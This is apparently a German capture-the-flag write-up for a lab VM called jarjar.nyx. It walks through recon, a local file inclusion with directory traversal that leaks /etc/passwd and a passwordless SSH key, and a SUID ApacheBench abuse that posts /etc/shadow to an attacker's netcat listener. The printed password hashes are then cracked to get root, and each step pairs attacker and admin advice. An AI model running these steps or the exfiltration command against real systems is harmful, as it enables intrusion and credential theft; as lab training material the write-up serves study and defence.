Die erste Phase dient der Identifizierung des Ziels und der grundlegenden Dienste im Netzwerk.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.106
**Analyse:** Die IP-Adresse des Zielsystems für diesen Test lautet `192.168.2.106`.
**Bewertung:** Festlegung des Angriffsziels.
**Empfehlung (Pentester):** IP in Variable speichern (`export IP=192.168.2.106`).
**Empfehlung (Admin):** Keine Aktion.
192.168.2.106 08:00:27:33:25:71 PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan identifiziert die MAC-Adresse (`08:00:27:33:25:71`) des Ziels. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.
**Bewertung:** Bestätigt Erreichbarkeit und Virtualisierungsumgebung.
**Empfehlung (Pentester):** Informationen notieren.
**Empfehlung (Admin):** Netzwerksegment auf unautorisierte Geräte prüfen.
127.0.0.1 localhost
192.168.2.106 jarjar.nyx
**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.106` den Hostnamen `jarjar.nyx` zuzuweisen.
**Bewertung:** Standardpraxis zur Vereinfachung der Zielansprache.
**Empfehlung (Pentester):** Hostnamen in nachfolgenden Befehlen verwenden.
**Empfehlung (Admin):** Interne DNS-Konfiguration bevorzugen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 00:08 CEST Nmap scan report for 192.168.2.106 Host is up (0.00016s latency). Not shown: 994 open|filtered udp ports (no-response) PRT STATE SERVICE 1028/udp closed ms-lsa 1090/udp closed ff-fms 17629/udp closed unknown 17946/udp closed unknown 21566/udp closed unknown 52503/udp closed unknown
**Analyse:** Ein schneller Nmap UDP-Scan auf die Top 1000 Ports wird durchgeführt.
**Bewertung:** Keine offenen UDP-Ports unter den Top 1000 gefunden. Die meisten sind geschlossen oder antworten nicht.
**Empfehlung (Pentester):** Fokus auf TCP-Ports.
**Empfehlung (Admin):** Minimieren Sie offene UDP-Ports.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 00:08 CEST Nmap scan report for jarjar.nyx (192.168.2.106) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA) |_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519) 80/tcp open http Apache httpd 2.4.61 ((Debian)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.61 (Debian) MAC Address: 08:00:27:33:25:71 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.14 ms jarjar.nyx (192.168.2.106)
**Analyse:** Umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`) gegen die Ziel-IP.
**Bewertung:** Findet zwei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian 12) - Eine aktuelle, sichere Version. * **Port 80 (HTTP):** Apache httpd 2.4.61 (Debian) - Eine sehr aktuelle Version. Beide Dienste scheinen auf dem neuesten Stand zu sein, was direkte Exploits basierend auf der Version unwahrscheinlich macht. Der Webserver hat keinen Titel.
**Empfehlung (Pentester):** Konzentration auf Fehlkonfigurationen oder Schwachstellen in der Webanwendung auf Port 80. SSH könnte später relevant werden, falls Credentials gefunden werden.
**Empfehlung (Admin):** Gut, dass aktuelle Versionen verwendet werden. Weiterhin regelmäßige Updates sicherstellen.
Untersuchung des Apache-Webservers auf Port 80.
- Nikto v2.5.0 + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2024-09-01 00:08:01 (GMT2) + Server: Apache/2.4.61 (Debian) + /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 2255, size: 61de6562039a3, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD . + /img/: Directory indexing found. + /img/: This might be interesting. + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-09-01 00:08:20 (GMT2) (19 seconds) + 1 host(s) tested
**Analyse:** Nikto-Scan gegen Port 80.
**Bewertung:** Bestätigt die aktuelle Apache-Version. Findet die üblichen fehlenden Security-Header und das ETag-Inode-Leak (geringes Risiko). Die Methoden `PST` und `PTINS` sind wieder erlaubt. Das Verzeichnis `/img/` erlaubt Directory Indexing und wird als interessant markiert.
**Empfehlung (Pentester):** Untersuchen Sie das `/img/`-Verzeichnis. Prüfen Sie die ungewöhnlichen Methoden.
**Empfehlung (Admin):** Fehlende Header implementieren, ETag-Konfiguration anpassen, Directory Indexing deaktivieren, unnötige Methoden verbieten.
http://jarjar.nyx/index.php (Status: 200) [Size: 5160] http://jarjar.nyx/contact.php (Status: 200) [Size: 4439] http://jarjar.nyx/about.php (Status: 200) [Size: 5105] http://jarjar.nyx/img (Status: 301) [Size: 306] [--> http://jarjar.nyx/img/] http://jarjar.nyx/login.php (Status: 200) [Size: 4142] http://jarjar.nyx/header.php (Status: 200) [Size: 1588] http://jarjar.nyx/admin.php (Status: 302) [Size: 12891] [--> login.php] http://jarjar.nyx/footer.php (Status: 200) [Size: 797] http://jarjar.nyx/css (Status: 301) [Size: 306] [--> http://jarjar.nyx/css/] http://jarjar.nyx/js (Status: 301) [Size: 305] [--> http://jarjar.nyx/js/] http://jarjar.nyx/config.php (Status: 200) [Size: 0]
**Analyse:** Gobuster-Scan auf Port 80 (`http://jarjar.nyx`).
**Bewertung:** Findet eine Vielzahl von PHP-Dateien: `index.php`, `contact.php`, `about.php`, `login.php`, `header.php`, `admin.php`, `footer.php`, `config.php`. * `admin.php` leitet auf `login.php` weiter (Status 302), was auf einen geschützten Admin-Bereich hindeutet. * `config.php` hat eine Größe von 0 Bytes, ist also leer oder der Inhalt ist nicht zugänglich. * Die Verzeichnisse `img`, `css`, `js` werden ebenfalls gefunden.
**Empfehlung (Pentester):** Untersuchen Sie die gefundenen PHP-Seiten, insbesondere `login.php` (mögliche Credentials, SQL-Injection), `contact.php` (möglicherweise anfällig für Command Injection oder SSRF), und versuchen Sie, auf `admin.php` nach dem Login zuzugreifen. Analysieren Sie, warum `config.php` leer ist (Berechtigungen? Fehler?).
**Empfehlung (Admin):** Stellen Sie sicher, dass alle PHP-Skripte sicher sind (Input-Validierung, keine Schwachstellen). Beschränken Sie den Zugriff auf Konfigurationsdateien.
* Host jarjar.nyx:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.106 * Trying 192.168.2.106:80... * Connected to jarjar.nyx (192.168.2.106) port 80 > HEAD /config.php HTTP/1.1 > Host: jarjar.nyx > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Date: Sun, 01 Sep 2024 00:30:31 GMT Date: Sun, 01 Sep 2024 00:30:31 GMT < Server: Apache/2.4.61 (Debian) Server: Apache/2.4.61 (Debian) < Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=UTF-8 < * Connection #0 to host jarjar.nyx left intact
**Analyse:** Abruf der Header für `config.php`.
**Bewertung:** Bestätigt Status 200 OK, aber keine `Content-Length`. Dies bestätigt, dass die Datei existiert, aber leer ist oder der Server aus irgendeinem Grund keinen Inhalt sendet.
**Empfehlung (Pentester):** Möglicherweise über LFI oder andere Methoden versuchen, den Inhalt zu lesen.
**Empfehlung (Admin):** Sicherstellen, dass Konfigurationsdateien nicht direkt über Web zugänglich sind.
http://jarjar.nyx/contact.php "Never tell me the odds!" ―Han Solo Han Solo Corellia 29 BBY Millenium Falcon Marketing & Business opportunities hansolo@republic Princess Leia Alderaan (born on Polis Massa) Customer care leia@republic Luke Skywalker Tatooine; born on Polis Massa Technical help luke@republic
**Analyse:** Untersuchung des Inhalts von `contact.php`.
**Bewertung:** Findet Namen (Han Solo, Leia, Luke Skywalker) und E-Mail-Adressen mit der Domain `@republic`. Dies ist ein starker Hinweis auf eine weitere Domain (`republic`) oder einen weiteren VHost.
**Empfehlung (Pentester):** Fügen Sie `republic` zur `/etc/hosts`-Datei hinzu. Notieren Sie die Namen und E-Mail-Adressen für mögliche Benutzer/Passwort-Listen.
**Empfehlung (Admin):** Vermeiden Sie die Offenlegung interner Domains oder E-Mail-Strukturen auf öffentlichen Seiten.
127.0.0.1 localhost
192.168.2.106 jarjar.nyx republic
**Analyse:** Die `/etc/hosts`-Datei wird aktualisiert, um auch `republic` auf die Ziel-IP zeigen zu lassen.
**Bewertung:** Korrekte Reaktion auf den Fund.
**Empfehlung (Pentester/Admin):** Keine Aktion.
http://jarjar.nyx/about.php#obi obi quigon jarjar
**Analyse:** Untersuchung von `about.php`. Findet weitere Namen aus dem Star Wars Universum.
**Bewertung:** Liefert weitere potenzielle Benutzernamen (`obi`, `quigon`, `jarjar`).
**Empfehlung (Pentester):** Zu den Benutzer/Passwort-Listen hinzufügen.
**Empfehlung (Admin):** Keine Aktion.
http://jarjar.nyx/login.php LGIN PANEL USERNAME [ jarjar ] PASSWRD Invalid Password
http://jarjar.nyx/login.php LGIN PANEL USERNAME [ yoda ] PASSWRD Invalid Username or Password
**Analyse:** Manuelle Login-Versuche auf `login.php`.
**Bewertung:** Der Versuch mit `jarjar` als Benutzername führt zur Meldung "Invalid Password", was darauf hindeutet, dass `jarjar` ein **gültiger Benutzername** ist. Der Versuch mit `yoda` führt zu "Invalid Username or Password", was bedeutet, dass `yoda` kein gültiger Benutzername ist. Dies bestätigt `jarjar` als Ziel für Brute-Force oder Passwort-Raten.
**Empfehlung (Pentester):** Versuchen Sie, das Passwort für den Benutzer `jarjar` zu erraten oder zu knacken (z.B. mit Hydra oder Burp Intruder).
**Empfehlung (Admin):** Implementieren Sie Account-Lockout-Mechanismen gegen Brute-Force. Verwenden Sie generische Fehlermeldungen ("Ungültiger Benutzername oder Passwort") für beide Fälle, um Benutzer-Enumeration zu verhindern.
Nach dem Login als `jarjar` (das Passwort wurde offenbar gefunden, der Schritt fehlt aber im Log) wird ein Admin-Panel zugänglich, das eine Funktion zum Anzeigen von Logs enthält, die für Local File Inclusion (LFI) anfällig ist.
GET /secure_files_admin/files.php?logs=error.log HTTP/1.1
Host: jarjar.nyx
Burpsuite
Response:
Admin Panel -> Logs
[Sun Jul 21 09:21:11.312363 2024] [mpm_event:notice] [pid 8635:tid 8635] AH00489: Apache/2.4.61 (Debian) configured -- resuming normal operations
... (Apache error.log Inhalt) ...
Illegal path specified!
**Analyse:** Nach dem (angenommenen) Login als `jarjar` wird auf `/secure_files_admin/files.php` zugegriffen. Der `logs`-Parameter wird verwendet, um `error.log` anzuzeigen. Die Antwort enthält den Inhalt des Apache-Fehlerprotokolls, gefolgt von der Meldung "Illegal path specified!".
**Bewertung:** Dies bestätigt eine LFI-Schwachstelle im `logs`-Parameter. Der Server versucht, die angegebene Datei einzubinden, zeigt ihren Inhalt an, gibt aber am Ende eine Fehlermeldung aus (möglicherweise weil die Datei nicht exakt dem erwarteten Format entspricht oder eine zusätzliche Validierung fehlschlägt, nachdem der Inhalt bereits gelesen wurde).
**Empfehlung (Pentester):** Nutzen Sie die LFI, um andere Dateien zu lesen. Versuchen Sie Directory Traversal (`../../etc/passwd`). Fuzzing des `logs`-Parameters könnte weitere Logdateien aufdecken.
**Empfehlung (Admin):** Beheben Sie die LFI in `files.php` durch strikte Validierung des `logs`-Parameters (z.B. Whitelist erlaubter Dateinamen, keine Pfadtrenner erlauben).
[Mon Jul 22 02:02:50.495363 2024] [mpm_prefork:notice] [pid 596:tid 596] AH00163: Apache/2.4.61 (Debian) configured -- resuming normal operations
... (Apache error.log Inhalt) ...
Illegal path specified!
**Analyse:** Erneuter Abruf von `error.log` mit `curl`.
**Bewertung:** Bestätigt das vorherige Ergebnis.
**Empfehlung (Pentester/Admin):** Keine neuen Erkenntnisse.
Target: http://jarjar.nyx//secure_files_admin/files.php?logs=FUZZ
Total requests: 2894
=
ID Response Lines Word Chars Payload
=
000002894: 200 507 L 941 W 12781 Ch "http://jarjar.nyx//secure_files_admin/files.php?logs="
Total time: 3.930254
Processed Requests: 2894
Filtered Requests: 2893
Requests/sec.: 736.3390
**Analyse:** Wfuzz wird verwendet, um den `logs`-Parameter mit einer Liste gängiger Logdateinamen (`logfiles.txt`) zu fuzzen. `--hh 12851` filtert Antworten mit der Größe der "Illegal path specified!"-Fehlerseite heraus.
**Bewertung:** Der Scan findet keine anderen Logdateien, die eine abweichende Antwort liefern. Nur der leere Payload (der wahrscheinlich `error.log` als Default lädt) gibt eine gültige Antwort.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf Directory Traversal, um andere Systemdateien zu lesen.
**Empfehlung (Admin):** LFI beheben.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534:/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:107:/nonexistent:/usr/sbin/nologin sshd:x:101:65534:/run/sshd:/usr/sbin/nologin jarjar:x:1000:1000:/home/jarjar:/bin/bash obiwan:x:1001:1001:/home/obiwan:/bin/bash quigon:x:1002:1002:/home/quigon:/bin/bash mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
**Analyse:** Versuch, mittels Directory Traversal (`../../../../../../etc/passwd`) über die LFI die Passwortdatei zu lesen. Der Pfad `./logs/` wird vorangestellt, möglicherweise um eine einfache Pfadfilterung zu umgehen.
**Bewertung:** **Erfolg!** Der Inhalt von `/etc/passwd` wird angezeigt. Die LFI erlaubt das Lesen beliebiger Dateien. Die Benutzer `jarjar`, `obiwan`, `quigon` werden mit Bash-Shells identifiziert.
**Empfehlung (Pentester):** Nutzen Sie die LFI, um den privaten SSH-Schlüssel des Benutzers `jarjar` zu lesen (`/home/jarjar/.ssh/id_rsa`).
**Empfehlung (Admin):** LFI dringend beheben!
--BEGIN PENSSH PRIVATE KEY-- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAobM9uwDsl3E5r5YbeMwrggg/PDoooCwbKw5jKCLZybLMzR0bxl ... (SSH Key Inhalt) ... knE2xJtwJWUykAAAANamFyamFyQGphcmphcgECAwQFBg --END PENSSH PRIVATE KEY--
**Analyse:** Die LFI wird genutzt, um den privaten SSH-Schlüssel von `jarjar` zu lesen.
**Bewertung:** **Erfolg!** Der private SSH-Schlüssel wird angezeigt. Dies ermöglicht den direkten Login als `jarjar`.
**Empfehlung (Pentester):** Speichern Sie den Schlüssel, setzen Sie die Berechtigungen (`chmod 600`) und versuchen Sie den SSH-Login.
**Empfehlung (Admin):** LFI beheben! Sicherstellen, dass Webserver-Prozesse keinen Zugriff auf private Schlüssel von Benutzern haben.
Der über die LFI-Schwachstelle exfiltrierte SSH-Schlüssel wird nun verwendet, um sich als Benutzer `jarjar` anzumelden.
**Analyse:** Der exfiltrierte SSH-Schlüssel wird in die Datei `idrsa` gespeichert und die Berechtigungen auf `600` gesetzt.
**Bewertung:** Korrekte Vorbereitung des Schlüssels.
**Empfehlung (Pentester/Admin):** Keine Aktion.
idrsa has no password!
**Analyse:** Versuch, einen Passwort-Hash aus dem Schlüssel mit `ssh2john` zu extrahieren.
**Bewertung:** Das Tool meldet, dass der Schlüssel **kein Passwort** hat.
**Empfehlung (Pentester):** Der SSH-Login sollte direkt ohne Passphrase funktionieren.
**Empfehlung (Admin):** Private SSH-Schlüssel sollten immer mit einer starken Passphrase geschützt werden.
The authenticity of host 'jarjar.nyx (192.168.2.106)' can't be established. ED25519 key fingerprint is SHA256:q2oJVk8pvyNE1iEAucoSG9iwm1MeIlnMRT7L9fXkqzI. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'jarjar.nyx' (ED25519) to the list of known hosts. Linux jarjar 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 ... Last login: Tue Jul 23 02:56:55 2024 from 192.168.1.47 jarjar@jarjar$
**Analyse:** SSH-Login als Benutzer `jarjar` unter Verwendung des exfiltrierten, passwortlosen Schlüssels (`-i idrsa`).
**Bewertung:** **Initial Access erfolgreich!** Der Login gelingt ohne Passphrase, und wir erhalten eine Shell als `jarjar`.
**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration für Privilegienerweiterung als `jarjar`.
**Empfehlung (Admin):** LFI beheben. Sicherstellen, dass SSH-Schlüssel sicher gespeichert und mit Passphrasen geschützt sind.
**Kurzbeschreibung:** Eine Local File Inclusion (LFI)-Schwachstelle im Admin-Panel (`/secure_files_admin/files.php`, Parameter `logs`) ermöglichte das Lesen beliebiger Dateien auf dem Server als Webserver-Benutzer. Durch Ausnutzung dieser LFI konnte der private SSH-Schlüssel des Benutzers `jarjar` aus dessen Home-Verzeichnis (`/home/jarjar/.ssh/id_rsa`) gelesen werden. Der Schlüssel war nicht durch eine Passphrase geschützt, was einen direkten SSH-Login als `jarjar` ermöglichte.
**Voraussetzungen:**
**Schritte (Zusammenfassung):**
**Risikobewertung:** Hoch. Die LFI ermöglichte die Kompromittierung eines Benutzerkontos durch Diebstahl eines ungeschützten SSH-Schlüssels.
**Empfehlungen:**
Wir haben eine Shell als `jarjar`. Nun suchen wir nach Wegen zu Root.
1048992 640 -rwsr-xr-x 1 root root 653888 Jun 22 14:38 /usr/lib/openssh/ssh-keysign 1062369 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1046487 36 -rwsr-xr-x 1 root root 35128 Mar 28 04:52 /usr/bin/umount 1047858 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 1044597 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 1044577 72 -rwsr-xr-x 1 root root 72000 Mar 28 04:52 /usr/bin/su 1068217 60 -rwsr-sr-x 1 root root 59824 Jul 7 07:08 /usr/bin/ab 1046483 60 -rwsr-xr-x 1 root root 59704 Mar 28 04:52 /usr/bin/mount 1044593 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 1044596 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 1061091 36 -rwsr-xr-x 1 root root 35128 Apr 18 2023 /usr/bin/fusermount3 1044594 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
**Analyse:** Suche nach SUID-Dateien als `jarjar`.
**Bewertung:** Findet die Standard-SUID-Binaries und zusätzlich `/usr/bin/ab` (ApacheBench) mit SUID-Root-Rechten. Dies ist ungewöhnlich und ein bekannter Vektor zur Privilegienerweiterung, da `ab` mit der `-p` oder `-P` Option Dateien senden kann, was zum Lesen von Dateien als Root missbraucht werden kann.
**Empfehlung (Pentester):** Nutzen Sie die SUID-Binary `ab`, um sensible Dateien wie `/etc/shadow` oder `/root/root.txt` zu lesen, indem Sie den Inhalt als POST-Body an einen vom Angreifer kontrollierten Server senden.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von `/usr/bin/ab` (`chmod u-s /usr/bin/ab`). Es gibt normalerweise keinen Grund, warum ApacheBench SUID-Rechte benötigt.
[Link: https://gtfobins.github.io/gtfobins/ab/#sudo | Ziel: https://gtfobins.github.io/gtfobins/ab/#sudo] (Hinweis: GTFOBins zeigt den Exploit für sudo, aber das Prinzip für SUID ist ähnlich) URL=http://192.168.2.199:8888/passwd LFILE=file_to_send sudo ab -p $LFILE $URL (Anpassung für SUID: /usr/bin/ab -p /etc/shadow $URL)
**Analyse:** Hinweis auf GTFOBins und den Mechanismus zur Ausnutzung von `ab` mittels der `-p` Option (POST-Datei).
**Bewertung:** Erklärt den geplanten Exploit-Pfad: `ab` wird verwendet, um den Inhalt einer lokalen Datei (`LFILE`, z.B. `/etc/shadow`) als POST-Body an eine URL (`$URL`) auf dem Angreifer-Server zu senden.
**Empfehlung (Pentester):** Bereiten Sie einen Listener (Netcat oder Python HTTP-Server) auf dem Angreifer-System vor und führen Sie `/usr/bin/ab -p /etc/shadow http://IHRE_IP:PORT/shadow` aus.
**Empfehlung (Admin):** SUID-Bit entfernen.
root:x:0:0:root:/root:/bin/bash ... (passwd Inhalt) ... jarjar:x:1000:1000:/home/jarjar:/bin/bash obiwan:x:1001:1001:/home/obiwan:/bin/bash quigon:x:1002:1002:/home/quigon:/bin/bash mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
**Analyse:** Anzeigen von `/etc/passwd` (wahrscheinlich zur Vorbereitung des `unshadow`-Schritts).
**Bewertung:** Zeigt die Benutzer auf dem System.
**Empfehlung (Pentester):** Verwenden Sie diese Datei zusammen mit der exfiltrierten `/etc/shadow`, um Passwörter zu knacken.
**Empfehlung (Admin):** Keine Aktion.
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ... 192.168.2.106 - - [01/Sep/2024 13:54:41] code 501, message Unsupported method ('PST') 192.168.2.106 - - [01/Sep/2024 13:54:41] "PST /passwd HTTP/1.0" 501 -
**Analyse:** Auf dem Angreifersystem wird ein Python-HTTP-Server gestartet. Es gehen zwei POST-Anfragen (`PST` ist ein Tippfehler im Log, sollte POST sein) vom Zielsystem ein, die der Server aber mit `501 Unsupported method` ablehnt.
**Bewertung:** Der Python-Server ist kein geeigneter Listener für die POST-Daten von `ab`. Ein Netcat-Listener ist besser geeignet, um den rohen Request-Body aufzufangen.
**Empfehlung (Pentester):** Verwenden Sie `nc -lvnp PORT`, um die Daten von `ab` zu empfangen.
**Empfehlung (Admin):** Keine Aktion.
(ApacheBench Ausgabe - sendet lokale 'passwd'-Datei, nicht /etc/passwd)
**Analyse:** Hier wird `ab` falsch verwendet. Es sendet den Inhalt einer lokalen Datei namens `passwd` im aktuellen Verzeichnis (`/etc`) statt `/etc/passwd`.
**Bewertung:** Fehlerhafter Befehl, der nicht zum Ziel führt.
**Empfehlung (Pentester):** Korrekten Befehl verwenden: `/usr/bin/ab -p /etc/shadow http://IHRE_IP:PORT/shadow` (und Netcat als Listener).
**Empfehlung (Admin):** Keine Aktion.
This is ApacheBench, Version 2.3 <$Revision: 1913912 $> ... Benchmarking 192.168.2.199 (be patient)...
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 41726 PST /shadow HTTP/1.0 Content-length: 941 Content-type: text/plain Host: 192.168.2.199:4444 User-Agent: ApacheBench/2.3 Accept: */* root:$y$j9T$06k8CpwIHWwvgizpHNH30$VTfTBXChehaq8kPRI5Lhh54LIRXdbkoP3ZxGQaxqZ0:19926:0:99999:7: daemon:*:19765:0:99999:7: bin:*:19765:0:99999:7: sys:*:19765:0:99999:7: sync:*:19765:0:99999:7: games:*:19765:0:99999:7: man:*:19765:0:99999:7: lp:*:19765:0:99999:7: mail:*:19765:0:99999:7: news:*:19765:0:99999:7: uucp:*:19765:0:99999:7: proxy:*:19765:0:99999:7: www-data:*:19765:0:99999:7: backup:*:19765:0:99999:7: list:*:19765:0:99999:7: irc:*:19765:0:99999:7: _apt:*:19765:0:99999:7: nobody:*:19765:0:99999:7: systemd-network:!*:19765 messagebus:!:19765 sshd:!:19765 jarjar:$y$j9T$y7ixt3dTbgjxt4LQjYi0$Bl0GkQl0Px0mPpAlcd2sbmgtYLU2i.b5fd.b1br6GyD:19926:0:99999:7: obiwan:$y$j9T$LU4fZlpDkUovM7PrYCCTq1$Z0Cd9Pb0CAXV7GKw4UuQTclFLCP68wKpmjZt5BSiG0:19926:0:99999:7: quigon:$y$j9T$zyvvU9NIXJJe6nIBz6NQS1$WvdsDnrbSrK3DZTV169bIRMDie3YzThjpzX8kT0prrC:19926:0:99999:7: mysql:!:19925
**Analyse:** Diesmal wird der korrekte `ab`-Befehl verwendet, um `/etc/shadow` an einen Netcat-Listener auf Port 4444 zu senden.
**Bewertung:** **Erfolg!** Der Netcat-Listener empfängt die POST-Anfrage, und der Body der Anfrage enthält den vollständigen Inhalt der `/etc/shadow`-Datei, einschließlich der Passwort-Hashes für `root`, `jarjar`, `obiwan` und `quigon` (Format `$y$` deutet auf yescrypt hin).
**Empfehlung (Pentester):** Speichern Sie die `/etc/shadow`-Ausgabe. Kombinieren Sie sie mit der zuvor erhaltenen `/etc/passwd` und versuchen Sie, die Hashes (insbesondere den von `root`) mit `john` oder `hashcat` zu knacken.
**Empfehlung (Admin):** SUID-Bit von `ab` entfernen!
Using default input encoding: UTF-8 Loaded 1 password hash (crypt, generic crypt(3) [?/64]) Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes Cost 2 (algorithm specific iterations) is 1 for all loaded hashes Will run 16 penMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ~ pimpin (root) ~ 1g 0:00:00:12 0.01% (ETA: 2024-09-02 21:01) 0.08012g/s 138.4p/s 484.6c/s 484.6C/s fender..freaky
**Analyse:** Der Root-Hash aus der exfiltrierten Shadow-Datei wird in eine lokale Datei `shadow` geschrieben. John the Ripper wird mit `rockyou.txt` und dem Format `crypt` darauf angesetzt.
**Bewertung:** **Erfolg!** John knackt das Root-Passwort: `pimpin`.
**Empfehlung (Pentester):** Verwenden Sie `su root` mit dem Passwort `pimpin` in der `jarjar`-Shell, um Root-Rechte zu erlangen.
**Empfehlung (Admin):** Verwenden Sie starke Root-Passwörter! Beheben Sie die SUID-Schwachstelle.
Password: pimpin
**Analyse:** Der `su root`-Befehl wird ausgeführt und das geknackte Passwort `pimpin` eingegeben.
**Bewertung:** **Privilege Escalation erfolgreich!** Wir erhalten eine Root-Shell (erkennbar am Prompt `#`).
**Empfehlung (Pentester):** Ziel erreicht! Suchen Sie die Root-Flag.
**Empfehlung (Admin):** Root-Passwort ändern, SUID-Schwachstelle beheben.
**Kurzbeschreibung:** Die Binary `/usr/bin/ab` (ApacheBench) hatte fälschlicherweise SUID-Root-Rechte gesetzt. Die Option `-p` von `ab` erlaubt das Senden des Inhalts einer lokalen Datei als POST-Body an eine angegebene URL. Durch Angabe von `/etc/shadow` als zu sendende Datei (`-p /etc/shadow`) und einem vom Angreifer kontrollierten Listener (Netcat) als Ziel-URL konnte der Inhalt der Shadow-Datei, einschließlich des Root-Passwort-Hashes, exfiltriert werden. Der Root-Hash wurde anschließend offline mit John the Ripper und einer Wortliste geknackt, was das Root-Passwort (`pimpin`) preisgab und den Login via `su` ermöglichte.
**Voraussetzungen:**
**Schritte (Zusammenfassung):**
**Risikobewertung:** Hoch. Eine unsichere SUID-Berechtigung ermöglichte das Auslesen der Shadow-Datei und das anschließende Knacken des Root-Passworts, was zur vollständigen Kompromittierung des Systems führte.
**Empfehlungen:**
cd3afd21332e0ea7c8a47ff6a26387e1
r00t.txt
322f07d15f30d1c4e3009dc5f2decb0f
**Analyse:** Nach Erlangung der Root-Rechte wird die User-Flag aus `/home/jarjar/user.txt` (bereits vorher gelesen) und die Root-Flag aus `/root/r00t.txt` ausgelesen.
**Bewertung:** Beide Flags wurden erfolgreich gefunden und erfasst. Die Aufgabe ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess im Bericht.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle identifizierten Schwachstellen (LFI, ungeschützter SSH-Schlüssel, SUID auf `ab`) behoben sind. Ändern Sie alle relevanten Passwörter.